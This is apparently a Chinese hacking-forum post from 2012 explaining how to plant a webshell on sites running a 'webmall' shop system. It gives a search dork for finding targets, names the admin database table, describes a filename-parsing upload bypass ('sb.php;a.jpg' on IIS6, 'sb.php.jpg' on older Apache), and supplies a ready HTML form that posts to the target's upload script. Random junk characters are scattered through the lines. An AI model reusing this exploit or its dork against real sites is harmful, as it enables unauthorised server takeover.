关键字：inurl:webmall/detail.php?id
1 [5 g/ w" t5 [ Q4 x. T. e1 e
: i2 X. f* M1 Y4 r1 f5 p3 k" m数据表：pwn_base_admin& s, R% o2 T6 m( g
7 ^, a! t* x& W" x9 ?
关于拿shell7 H& I' U, ^% c/ p5 V
5 K7 d3 |2 p& {) G首先登录后台admin.php2 {4 i+ S' N) n
, T+ U2 c8 s" G3 h看了upload.php源码，分析了一个下午，然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件，但是并没有对文件名做限制。" \- G( X' R0 S& U
换句话说，sb.php;a.jpg这样的文件也是允许的，只要服务器是IIS6就拿到webshel，低版本的apache可以试着重命名为sb.php.jpg
9 d6 A- s1 C2 ?! A4 O' H" }3 m然后搞完了才发现，这里的比我的更精简，我那个蛋疼，膜拜下三石，然后就借用了，我的开始和他的一样是采取全部源码的，然后发现了更精简的& r* ], i, T/ O0 B5 G0 [! s( r
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php">
$ f6 K+ M; r& ]0 N- c; m C<input type="text" name="fileName" value="sb.php;a.jpg" /> * j5 w- @! s+ ?% v- Y0 Y5 T" i6 y
<input type="hidden" name="attachPath" value="news/pics/" /> ' I" \2 b/ C) g2 C2 m) J
<input type="file" name="fileData" size="14" /></td> , T0 i1 j) g7 l
<input type="submit" name="button" value="确定" /> 5 S( b3 u/ P: z) Z
</form>5 g1 G* o! ~. }/ v
/ T' Y# {4 h6 F* H' M0 W6 i首先登录后台，然后把上面的文件保存为xx.html，修改action，然后再上传，如果为iis6就在上传了查看源码就好了。
" _, _" A3 ^) A+ p7 p- P; [2 S
_% [. r+ h# d2 A1 p8 w5 g; C) b |
发表于 2012-11-9 20:52:15
收藏
支持
反对